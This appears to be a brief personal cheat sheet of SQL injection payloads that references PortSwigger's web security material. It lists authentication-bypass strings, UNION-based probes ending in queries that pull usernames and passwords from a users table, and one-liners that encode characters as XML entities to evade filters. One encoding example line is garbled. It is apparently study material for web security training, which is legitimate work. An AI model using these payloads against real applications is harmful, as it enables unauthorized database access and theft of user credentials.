SQLi

https://portswigger.net/web-security/sql-injection/cheat-sheet

Basics

Some ideas

' OR 1=1--
' OR 1=1#
administrator'--

Union

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT 'abc',NULL,NULL--
' UNION SELECT username, password FROM users--
' UNION SELECT NULL,username||'~'||password FROM users--

XML Encoding

You can convert chars to xml references such as numerical or hexadecimal values

# Hex
echo -n 's' | xxd -plain | sed 's/\(..\)/\&#x\1;/g'
echo -n 's' | python3 -c 'import sys;[print(f"&#x{ord(char):x};",end="") for char in sys.stdin.read()]'

# Dec
echo -n 's' | python3 -c 'import sys;[print(f"&#{ord(char)};",end="") for char in sys.stdin.read()]'

# Example: s == s == s

Payload example

1 union select NULL